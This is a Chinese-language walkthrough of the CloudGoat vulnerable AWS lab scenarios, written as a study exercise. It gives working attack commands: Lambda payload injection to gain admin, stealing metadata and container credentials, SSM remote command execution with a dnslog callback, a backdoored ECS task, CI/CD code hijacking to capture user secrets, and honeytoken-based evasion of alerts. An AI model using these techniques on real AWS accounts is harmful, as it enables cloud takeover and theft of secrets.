aws公有云靶场: https://github.com/RhinoSecurityLabs/cloudgoat
setup
- 安装aws cli
- 安装 terraform https://learn.hashicorp.com/tutorials/terraform/install-cli
- 创建一个权限足够的用户
1 | AdministratorAccess |
- 初始化:
- 配置profile
writeup
vulnerable_lambda
场景环境
执行完 ./cloudgoat.py create vulnerable_lambda 之后:
第一个场景,先看一下给搭了什么环境,会有一个带漏洞的lambda环境:
查看配置,发现是以 vulnerable_lambda_cgid0zbwsxk7ip-policy_applier_lambda1 角色的权限执行的
该角色权限:
然后发现可以更改用户cg-bilbo-vulnerable_lambda_cgid0zbwsxk7ip的策略和权限,(这个用户就是我们通过各种途径(github泄露等)获得的用户。
Attack
然后进行攻击,假设我们在GitHub找到了目标泄露的凭证,目标是获取SecretsManager中的secrets
配置好AK SK:
- 首先应该查看一下获取到的凭证的信息:
1 | aws sts get-caller-identity |
- 查看策略具体配置:
可以看到有iam:Get*和iam:List*权限、SimulateCustomPolicy 搜了一下没懂是什么权限
注意第一个规则有AssumeRole操作权限,我们获取到的用户可以请求cg-lambda-invoker*角色的临时凭证
**AssumeRole: ** 从aws文档中该权限描述可以大概可推测出是一个可以更改角色权限的操作
然后又找到下面这篇文章,有具体利用, 文章第一句说明了该权限的作用:“AWS在IAM服务提供了一个Role的功能,Role的话就是可以扩大自己的权限,比如说一个user可以临时assume一个role,那这个user就具备这个role的权限了。”
https://tonghuaroot.com/2019/11/21/IAM-AssumeRole-and-TrustRelationship/
文章中对AssumeRole的配置有两种方式:(有点类似委派)
- 在target tole处设置,也就是下面的:设置AssumeRolePolicyDocument 的 Principal,assume_role_ec2这个role对assumerole_role_target有assumeRole权限. 如下面的配置中, assume_role_ec2这个role对assumerole_role_target有assumeRole权限
1 | # assumerole_role_target |
- 在powerful role处设置:
另外这个信任还是可以跨账号的:
- 同一账号下,role B的信任关系中有role A的ARN就够了
- 跨账号的场景下,role C(另一个账号的role,信任关系中要包含role A的ARN,role A也要有assume role的权限才能玩)
列举所有的role, 找到匹配cg-lambda-invoker* 的 role:
- 查看这个role配置的策略:
aws –profile bilbo –region us-east-1 iam list-role-policies –role-name [cg-target-role]
- 查看策略权限:
aws –profile bilbo –region us-east-1 iam get-role-policy –role-name cg-lambda-invoker-vulnerable_lambda_cgid0zbwsxk7ip –policy-name lambda-invoker
发现这个策略可以对云函数做一些操作:
- 那么获取这个角色的临时凭证,也就是assumeRole操作
1 | aws --profile bilbo --region us-east-1 sts assume-role --role-arn [cg-lambda-invoker_arn] --role-session-name [whatever_you_want_here] |
- 添加凭证和配置session:
- 配置aws_session_token : aws configure –profile [name] set aws_session_token xxxx
- 然后直接执行:aws –region us-east-1 lambda list-functions 枚举云函数
- 发现只有一个云函数,那么查看这个云函数具体内容, 会返回一个资源链接
aws –region us-east-1 lambda get-function –function-name vulnerable_lambda_cgid0zbwsxk7ip-policy_applier_lambda1
- 访问S3链接可以直接获取到整个函数源码,发现函数功能是更改user policy:
- 那么可以调用lambda函数把自己改成administrator:
1 | aws --region us-east-1 lambda invoke --function-name vulnerable_lambda_cgid0zbwsxk7ip-policy_applier_lambda1 --cli-binary-format raw-in-base64-out --payload '{"policy_names": ["AdministratorAccess'"'"' --"], "user_name": "cg-bilbo-vulnerable_lambda_cgid0zbwsxk7ip"}' out.txt |
- 然后行使administrator的权利, 列举所有的secrets:aws –profile bilbo –region us-east-1 secretsmanager list-secrets
- 获取secret Value
iam_privesc_by_rollback
初始获得的信息
1 | Outputs: |
- 首先还是查看用户身份
1 | aws --profile rollbackuser sts get-caller-identity |
- 查看用户policies发现未配置…
- 发现list-attached-user-policies可以列举出:
1 | aws iam list-attached-user-policies --user-name raynor-iam_privesc_by_rollback_cgidt1m34nnef9 --profile rollbackuser |
那么attached policies和正常的user policies的区别?
- attached policies为托管策略, 其它的为内联策略
简单来说内联策略是直接加到某个用户或者角色的, 托管策略是在创建角色之前就创建了一个通用的权限策略,然后附加到创建的用户上.
如:
且对于托管策略是分版本的:
- 所以对于托管策略可以直接查询它的版本
aws iam list-policy-versions –policy-arn arn:aws:iam::818529845881:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidt1m34nnef9 –profile rollbackuser
根据查询结果得到默认版本为V1, 然后查看每个版本下的策略:
aws iam get-policy-version –policy-arn [policy-arn] –version-id [version-id] –profile rollbackuser
发现当前版本有setDefaultPolicyVersion权限,就可以更改attached-policy的版本从而修改用户自身权限
查看V5 版本权限发现直接是Administrator权限
- 设置默认版本为V5
aws iam set-default-policy-version –policy-arn arn:aws:iam::818529845881:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidt1m34nnef9 –version-id v5 –profile rollbackuser
现在已经是管理员权限了.
lambda_privesc
同样以一个账户开始, 先查看用户身份策略以及版本:
发现当前用户具有AssumeRole操作的权限,
- 首先列出所有的role: aws –profile priv iam list-roles
发现存在和lambda相关的一个高权限role, 查看策略:
- 获取下这个role attached的策略:
然后发现这个role具有passRole权限
aws文档对passrole的介绍:
要配置多项 AWS 服务,您必须将 IAM 角色传递给相应服务。这允许该服务稍后代入该角色并代表您执行操作。对于大多数服务,您只需在设置期间(而不是服务每次代入角色时)将角色传递给服务。
简单来说就是可以把IAM角色传递给相应服务,这个”服务”可以是一个user.
- 对于另外一个role:
发现这个role直接有administrator权限, 但是不能直接assume为这个Role.
综合前面得到的信息我们可以:
(1) assume为具有passRole权限的role,
(2) 把administrator策略pass到获得的用户上
然后就获得了administrator权限
cloud_breach_s3
给了一个IP,访问:
提示是代理服务器,代理到EC2的metadata,不过需要改host头
metadata访问: http://169.254.169.254/latest/meta-data/
然后直接获取凭据
配置上凭据:
发现s3里面有东西:
然后可以获得一堆数据:
iam_privsec_by_attachment
发现可以列举实例:
这里需要关注之后会用到的一些东西,比如安全组:
获取当前实例附加的profile:aws iam list-instance-profiles –profile attach
Q: 实例profile是什么?
A: aws文档 , 约等于是实例的配置文件,可配置项其实很少:InstanceProfileName、Path和 Roles;
实际的使用:https://docs.aws.amazon.com/zh_cn/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html
可以用来将角色附加到已经运行的EC2实例上
发现是 cg-ec2-meek-role-iam_privesc_by_attachment_cgid1vs2w3i4ap
那么我们看看有什么比较高权限的role为实例附加上,列举现有的role:aws iam list-roles –profile Kerrigan
下面是看wp写的,因为做的时候似乎列举权限未列举出来,这里为什么可以更改实例profile,大概实战的时候可以尝试一下
下面的思路就是修改实例profile之后, 再起一个新的instance,这样就有更改之后绑定role的权限了
看名字,一个是 meek(温顺)一个是mighty(强大的)
为实例更换角色:
1 | # remove |
为这个ec2生成新的密钥对:
1 | aws ec2 create-key-pair --key-name cg04 --profile attach --region us-east-1 --query 'KeyMaterial' --output text > cg04.pem |
创建新的实例:image-id和subnet-id都是直接copy现有实例的,安全组是ssh的那个,关于profile:
1 | aws ec2 run-instances --image-id ami-0a313d6098716f372 --instance-type t2.micro --iam-instance-profile Arn=arn:aws:iam::818529845881:instance-profile/cg-ec2-meek-instance-profile-iam_privesc_by_attachment_cgid1vs2w3i4ap --key-name cg04 --subnet-id subnet-0552815e50de647e0 --security-group-ids sg-0e19ce7031d50748b --region us-east-1 --profile attach |
没权限查看实例状态:aws ec2 describe-instance-status –instance-ids i-0487ad5564b67d269 –profile attach –region us-east-1
不过肯定是成功的,不信的话可以登下root用户看下控制台:
查看下公网IP
ssh连上去
装一个awscli
1 | sudo apt-get update |
检查权限:
1 | aws iam list-attached-role-policies --role-name cg-ec2-mighty-role-iam_privesc_by_attachment_cgid1vs2w3i4ap |
发现 拥有full access right
关闭另外一个实例:
aws ec2 terminate-instances –instance-ids i-044c1403957f98ea5 –region us-east-1
ec2_ssrf
因为aws lambda已经不支持python3.6环境了,所以改一下terraform配置:
然后再新建场景就没问题了
- 第一步,检查自身权限 –> 列不出自身权限策略
- 第二步,检查自身资源
发现可以列出云函数
发现云函数环境变量里面有ak,sk
不过还是尝试获取一下云函数的Role的策略,发现还是没权限:
aws iam list-role-policies –role-name cg-lambda-role-ec2_ssrf_cgidvexkp5uoq0-service-role –profile Solus
挂上环境变量的ak,sk看看有什么东西:
权限还是没什么东西,不过列资源应该有的:
发现有两个ec2实例,一个正在运行,一个已经终止:
主要看 IamInstanceProfile , 也就是实例的profile
1 | "IamInstanceProfile": { |
发现没权限获取profile的信息。。
于是开始对着这个实例进行测试。
那就直接尝试获取实例的metadata.
挂载获得的凭据:
不过这个还是没什么权限,不能查这个role的权限,尝试列举资源:
又在s3中获取凭证:
配置上之后:
不过还是没什么查询权限:
尝试枚举资源, 发现只有一开始的云函数:
这个时候想起来好像没去试下能不能获取和执行函数, 发现最初的用户和admin用户都可以获取到函数:
aws lambda get-function –function-name cg-lambda-ec2_ssrf_cgidvexkp5uoq0 –profile Solus
但是最初获得的用户没执行权限,admin用户有执行这个云函数的权限:
ecs_takeover
直接create会报错,改一下command就好了
发现是一个website:
显然有ssrf, 尝试下获取metadata
再测一测有没有别的漏洞, 发现还有命令执行的漏洞:
然后后面的步骤有点不太懂,去了解了一下aws ecs集群相关知识:
参考 https://www.twblogs.net/a/5e6db618bd9eee2117c74e00/?lang=zh-cn
ecs集群是任务或者服务的分组, 可以简单的再集群上注册一个任务,AWS会自动把任务分配到容器或者EC2上运行. 服务与任务的关系是: 服务是任务的分组,可以运行多个任务.
ecs任务启动类型分两种,Fargate启动类型和ec2启动类型,Fargate 启动类型只需定义任务,无需预置和管理后台基础设施,即可运行容器化的应用程序。EC2 启动类型在集群中管理的 EC2 实例上运行容器化的应用程序.
这个场景下的集群中有两个EC2实例,三个服务和四个任务.
服务/任务启动类型都是EC2:
所以可以在ec2中发现存在docker环境:
其中ecs-agent机器是container-agent,
关于container-agent的介绍如下,获取该容器凭证可以在容器实例中执行命令
此外需要注意的是, 每个任务也都绑定着一个角色,也都具有一定的权限.
现在要做的是, 把运行在另外一个EC2中的任务, 迁移到有漏洞的这个来,获取到里面的flag
- 先枚举所有的docker容器:
- 在特权容器中执行命令获取高权限(高权限任务凭据):
这里直接上帝视角知道privd容器权限比较高了, 实际利用要枚举下
获取容器中的凭据是下面的命令,参考 https://docs.aws.amazon.com/sdkref/latest/guide/feature-container-credentials.html
1 | ; docker exec 5266af65faa1 sh -c 'wget -O- 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI' |
实际上这个凭据也仅仅能够列举一些集群信息,但是也够了
然后列举集群的一些信息:
1 | aws --profile privd ecs list-clusters |
列举任务
列举集群内实例:
aws –profile privd ecs list-container-instances –cluster ecs-takeover-ecs_takeover_cgidtauurm6vyh-cluster
查看任务, 获取所在的服务组信息等
aws –profile privd ecs describe-tasks –cluster ecs-takeover-ecs_takeover_cgidtauurm6vyh-cluster –tasks
现在使用高权限凭据关闭另外一个EC2, 这个凭据使用的是有漏洞的EC2的凭据
aws –profile takeover ecs update-container-instances-state –cluster ecs-takeover-ecs_takeover_cgidtauurm6vyh-cluster –container-instances arn:aws:ecs:us-east-1:818529845881:container-instance/ecs-takeover-ecs_takeover_cgidtauurm6vyh-cluster/603439c72f5040b2834672fd312593d3 –status DRAINING
然后再去有漏洞的EC2环境上看. 发现目标服务容器已经切换到有漏洞环境的EC2运行了
这个场景还有很多坑,哪些服务运行在哪个容器之类的,需要多探索.
rce_web_app
创建环境时还是有问题,修改一下pg数据库版本即可, https://github.com/RhinoSecurityLabs/cloudgoat/issues/148
改两个地方即可,
ps: 这里instance_class去创建数据库的控制台那选一个就行, 建议选一个便宜点的, db.m5.large太贵了…
然后创建环境就没问题了:
两个账户,逐个开始试:
发现两个权限差不多
先看储存桶
1 | aws --profile userA s3 cp s3://cg-logs-s3-bucket-rce-web-app-cgidhp90mdtn81/ ./tmp-s3/a --recursive |
S3下载下来发现是AWS ELB的log, 可以使用https://github.com/ozantunca/elb-log-analyzer分析elb log, 另外一个cloudgoat/cloudgoat.pub 是ELB log中实例的公私钥对
AWS ELB: 负载均衡, 可以看文档了解一下
但是分析出的站点无法访问, 只能通过负载均衡的入口访问了, 列举ELB的信息
aws elbv2 describe-load-balancers –profile lara
直接访问负载均衡DNS:
拼接ELB log中的路径,发现是有漏洞的环境
ip:
然后直接通过之前获得的公私钥连上去:
这里有个坑,私钥权限改成600才行,不知道是什么奇怪的要求。。
连上时候开始信息收集, 获取user-data信息,发现有数据库连接
连接数据库:
装一个awscli把之前没权限获取数据的储存桶再看一遍
codebuild_secrets
同样要改一下配置, 除了改数据库配置外,还要改一下python版本:
给了一个凭据, 装上看下权限:
账户下存在三个实例:
其中两个是这个场景相关的, 一个暂停一个启动.
启动的这个容器也访问不了80端口,不过看安全组开了22端口.
到这里失去了思路, 不过再尝试列举下别的资源, 发现还可以列举codebuild:
CodeBuild环境变量有另外一个凭据:
装上这个凭据查看权限和资源:
然后发现什么权限都没有,但是可以列举数据库:aws rds describe-db-instances –profile cb2
但是数据库也不能访问:
下面是数据库不公开访问的情况下如何通过快照建立一个可访问的数据库:
首先创建一个数据库快照:
aws rds create-db-snapshot –db-instance-identifier cg-rds-instance-codebuild-secrets-cgidrhg45g9k0y –db-snapshot test-shot –profile cb2
查看subnet: aws rds describe-db-subnet-groups –profile cb2
列举安全组: aws ec2 describe-security-groups –profile cb22
根据快照创建新的数据库:
1 | aws rds restore-db-instance-from-db-snapshot --db-instance-identifier newDB1 --db-snapshot-identifier test-shot --db-subnet-group-name cloud-goat-rds-subnet-group-codebuild_secrets_cgidrhg45g9k0y --publicly-accessible --vpc-security-group-ids sg-0665d973c6ded2585 --profile cb2 |
等待数据库创建完成:
修改密码: aws rds modify-db-instance –db-instance-identifier newdb1 –master-user-password cloudgoat –profile cb2
等待一段时间连接: psql postgresql://cgadmin@newdb2.c8tldggafogj.us-east-1.rds.amazonaws.com:5432/postgres
不过这个数据库还是公网无法访问,因为没配置安全组?很头疼这个问题。。 PASS了,知道思路就行
补充:之后发现,要连接数据库可能要挂全局代理。。
换一个思路,发现可以枚举SSM参数
aws ssm describe-parameters –profile codebuild
SSM是一个监控Agent, 类似ECS中的agent, 也可以执行命令:
先获取列举出的SSM参数,读取出私钥: aws ssm get-parameter –name <private key name> –profile solo
然后直接连接之前的ec2,在ec2上装awscli, 获取user-data:
根据user-data中的数据库获取secret
cicd
创建场景需要下载一些文件,网络不稳定的话多试几次就好了。
另外,可能会出一些奇怪的报错,参考 https://stackoverflow.com/questions/64596394/importerror-cannot-import-name-docevents-from-botocore-docs-bcdoc-in-aws-co
遇到这个报错更新awscli和botocore即可
泄露一个AKSK和一个URI , URI是业务地址,用户会向这个地址post自己的私密信息,我们要做的是劫持这个地址,截取用户数据.
先看看AKSK权限
根据policyDocument,有用一点的权限有:
1 | // 对ssm有很多权限 |
那么根据之前的靶场经验,先列举一些资源:
1 | aws ssm describe-parameters --profile u1 |
只能列举一个ec2实例,但是没有公网IP。
但是注意到还有权限codecommit:ListRepositories, 随便输点错误的operation查看操作
1 | aws codecommit x |
查看repository, aws codecommit list-repositories –profile u1
但是也仅限列举仓库了。。
查看ec2实例的时候可以发现:
而我们的权限中恰好有改tag和对tag为sandbox的SSM有全部SSM操作权限, 这样就可以去执行命令了:
1 | { |
改tag: aws ec2 create-tags –resources i-046a61a51e95b6df0 –tags Key=Environment,Value=sandbox
SSM命令执行参考:
https://docs.aws.amazon.com/zh_cn/systems-manager/latest/userguide/sysman-rc-setting-up.html
https://docs.aws.amazon.com/zh_cn/systems-manager/latest/userguide/walkthrough-cli.html
1 | aws ssm send-command --instance-ids "i-046a61a51e95b6df0" --document-name "AWS-RunShellScript" --comment "IP config" --parameters commands=ifconfig --output text |
查看响应
1 | aws ssm list-command-invocations --command-id eee21184-5c5c-4a8e-8fa1-26961d884a7d --details |
然后发现没权限查看响应。。
请求dnslog确实是执行了命令:
aws ssm send-command –instance-ids “i-046a61a51e95b6df0” –document-name “AWS-RunShellScript” –comment “test1” –parameters commands=”curl test.kejajb.dnslog.cn” –output text
反弹个shell试一试:
1 | aws ssm send-command \ |
或者通过 aws ssm start-session –target i-046a61a51e95b6df0 –profile u1 来直接返回shell, 但是我这死活不行
安装session Manager: https://docs.aws.amazon.com/zh_cn/systems-manager/latest/userguide/session-manager-working-with-install-plugin.html#install-plugin-linux
1
2 wget https://s3.ap-northeast-1.amazonaws.com/amazon-ssm-ap-northeast-1/latest/debian_amd64/amazon-ssm-agent.deb
dpkg -i amazon-ssm-agent.deb
窃取SSM用户私钥:
获取ssh-user私钥之后,再提取公钥指纹
首先枚举所有公钥: aws iam list-ssh-public-keys –user-name cloner –profile u1
获取cloner的公钥指纹再获取publicKeyID也行
aws iam get-ssh-public-key –user-name cloner –ssh-public-key-id APKA35FBOIJ42NCPLZPM –encoding PEM –output text –query ‘SSHPublicKey.Fingerprint’
aws iam list-ssh-public-keys –user-name cloner –output text –query ‘SSHPublicKeys[0].SSHPublicKeyId’ –profile u1
修改.ssh/config
clone 仓库
git clone ssh://APKA35FBOIJ42NCPLZPM@git-codecommit.us-east-1.amazonaws.com/v1/repos/backend-api
查看gitlog
然后可以获取到一个可以修改代码的AKSK,
修改代码然后commit上去:
aws codecommit get-branch –repository-name backend-api –branch-name master –profile developer
aws codecommit put-file –repository-name backend-api –branch-name master –file-content fileb://./app.py –file-path app.py –parent-commit-id 88e2eb00d59a7032c3b6d003f0606f1e8c7b11ea –profile developer
然后就实现了劫持,获取到用户提交的secret:
detection_evasion
创建场景的时候会接受一个邮箱,用来接受告警:
目标是在不触发告警的前提下,获取到secret Manager中的两个secret:
直接看文档来做,给了四个AKSK,但是有一些是honeytoken,使用honeyToken会告警:
如何识别honeytoken? 可以通过不记录log的操作简单识别:
1 | aws --region us-east-1 sdb list-domains --profile user1 |
这里除了最后一个,其它全是honey token. 使用这个token可以枚举secrets:
枚举EC2实例:
权限:
发现刚好可以执行SSM操作, 来向EC2实例发送命令, 直接通过ssm start-session来获得一个shell:
获取metadata:
但是不能直接使用这个metadata的凭据,会触发告警:
如果您使用来自未知 IP 的与此实例关联的凭据,则会触发警报
尝试一下:
然后就会触发告警:
如何bypass?
- 出网的话直接装一个awscli, 在目标机器操作
部署一个aws ec2 执行命令 bypass (不太懂?
ecs_efs_attack
参考: https://rhinosecuritylabs.com/cloud-security/cloudgoat-aws-ecs_efs_attack/
还是打ecs集群:
发现有两个EC2, 其中一个凭据已经给了,第一件事情是横向移动到另外一台EC2.
直接连上给的ec2:
同样先进行一些信息收集:
发现我们可以创建新任务, 那么创建新任务让他跑到另外一个ec2上再获取ec2 metadata就可以获得另外一个EC2控制权了.
收集一些信息以方便创建新任务:
IP: 34.229.185.15
集群:
获取旧任务的定义和模板:
1 | aws ecs describe-task-definition --task-definition webapp:1 > taskdef.json |
参数比较多,可以直接参考下面的这个:
1 | { |
其中很多参数都是需要改的, 这很关键.
生成新任务:
1 | aws ecs register-task-definition --cli-input-json file://./backdoor.json |
覆盖之前service中的任务:
aws ecs update-service –service cg-webapp-ecs_efs_attack_cgidd59vp7g5uy –cluster cg-cluster-ecs_efs_attack_cgidd59vp7g5uy –task-definition arn:aws:ecs:us-east-1:818529845881:task-definition/webapp:4
然后就可以收到另外一台EC2的凭据:
装上这个凭据:
打上StartSession的tag: aws ec2 create-tags –resources i-0b5e9da253694d8eb –tags Key=StartSession,Value=true
总结笔记的时候发现, 这一步忘记为什么了,也没什么权限限定在这个tag好像.
看https://rhinosecuritylabs.com/cloud-security/cloudgoat-aws-ecs_efs_attack/ 这个 ,似乎漏了些什么..忘记查看EC2-2的凭据权限了.
然后ssm start-session
然后装上nmap横向移动nmap -Pn -p2049 –open 10.10.10.4/24
因为知道要打efs服务,所以就只扫了2049端口
挂载这个nfs:
1 | cd /mnt |
awscli commands
1 | 常用命令 |